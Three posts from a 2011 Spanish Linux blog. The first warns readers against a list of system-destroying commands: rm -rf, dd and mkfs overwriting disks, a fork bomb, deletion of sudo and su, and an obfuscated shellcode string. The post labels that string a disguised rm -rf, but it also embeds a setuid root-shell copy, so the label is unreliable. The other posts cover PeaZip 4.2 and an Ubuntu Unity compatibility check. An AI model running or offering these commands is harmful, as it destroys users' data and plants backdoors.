martes, 29 de noviembre de 2011

Comandos letales en Linux

Los usuarios de Linux siempre presumimos de lo potente que es el intérprete de comandos, que nos permite controlar nuestro sistema a nuestro antojo y con una potencia que es muy difícil de lograr con un entorno gráfico.

Sin embargo y como dice el famoso anuncio, “la potencia sin control no sirve de nada“. O más bien, “la potencia sin control puede causar estragos” en nuestras distribuciones Linux, porque hay comandos Linux o combinaciones de comandos que pueden acabar con todo aquello en lo que habíamos trabajado en nuestro sistema.
Es precisamente lo que nos recuerdan desde Linux * Screw, donde avisan de que jamás de los jamases ejecutéis estos comandos en una consola de comandos. ¡¡Avisados quedáis!!

1. Cualquiera de estos comandos borrará todo lo que tengáis en vuestro directorio personal, en la raíz o en el disco:

sudo rm -rf /
rm -rf .*
dd if=/dev/zero of=/dev/sda
mkfs.ext3 /dev/hda
loquesea > /dev/hda
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
find -type f -mtime +30 -exec mv {} /dev/null \;
mv ~ /dev/null
mv / /dev/null


2. Con estos comandos conseguirás un kernel panic o dejar tu sistema tonto:

dd if=/dev/random of=/dev/por
:(){:|:&};:
A esto último se le conoce como fork bomb

3. Comando que hace lo mismo que “rm -rf /”, pero en plan enrevesado:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. Con este ya no podrás ejecutar comandos con privilegios de superusuario:

rm -f /usr/bin/sudo;rm -f /bin/su

¿Alguien conoce algún comando destroza-sistemas adicional? ;)

jueves, 24 de noviembre de 2011

PeaZip 4.2

Ya se encuentra disponible PeaZip 4.2

Peazip maneja la mayoría de los formatos de compresión más conocidos e incluye el suyo propio: PEA

Tiene la capacidad de poder crear archivos en los siguientes formatos: 7Z, ARC, BZ2, GZ, PAQ/LPAQ, PEA, QUAD/BALZ, TAR, UPX, ZIP.

Pero además puede abrir sin la capacidad de creación estos otros: ACE, ARJ, CAB, DMG, ISO, LHA, RAR, UDF y muchos otros más.

Además de poder realizar las clásicas operaciones de los compresores de archivos, PeaZip nos permite unir y separar archivos, borrar archivos definitivamente, comparar 2 archivos byte por byte, generar passwords aleatorios y muchas opciones más.

martes, 22 de noviembre de 2011

Comprueba si tu ordenador es compatible con Ubuntu 11.10

Hasta el día de hoy, una de las características de Ubuntu era que esta distribución podía instalarse en casi cualquier ordenador. Una ventaja que en las ultimas versiones está cambiando de rumbo, ya que estas ultimas distribuciones están más orientadas en aprovechar el potencial de los nuevos componentes de los equipos de los que disponemos hoy en día.

Por ejemplo, para hacer funcionar el shell Unity con todo su potencial necesitamos tener aceleración 3D en nuestras tarjetas de vídeo. Una pregunta muy recurrente en todos los foros es si un equipo más viejo puede funcionar bien con Ubuntu 11.10.
La respuesta es sencilla, solo tienes que ejecutar una orden en la consola de comandos o terminal para saber si el sistema soporta la última versión de Ubuntu junto a Unity.

/usr/lib/nux/unity_support_test -p

Si tienes un resultado positivo, tu ordenador es completamente compatible con Ubuntu Oneiric.